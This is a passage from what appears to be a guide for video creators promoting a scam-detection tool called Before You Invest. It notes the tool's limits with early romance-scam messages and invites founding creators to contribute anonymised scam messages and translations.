- A check can flag common patterns, but it cannot prove a message is safe. Say so in your video: it builds trust.
- Before You Invest looks for investment pressure, which arrives in later messages, so a friendly first romance opener that asks for no money yet may not be flagged. Use specimens 1 to 4 on camera.

Founding creators

Creators who use a playbook can suggest next month's topic, send in a scam message from their community with personal details removed, or offer a translation. Founding creators receive each drop seven days early and can be credited on utilforge.org/creators. Write to support@utilforge.org.

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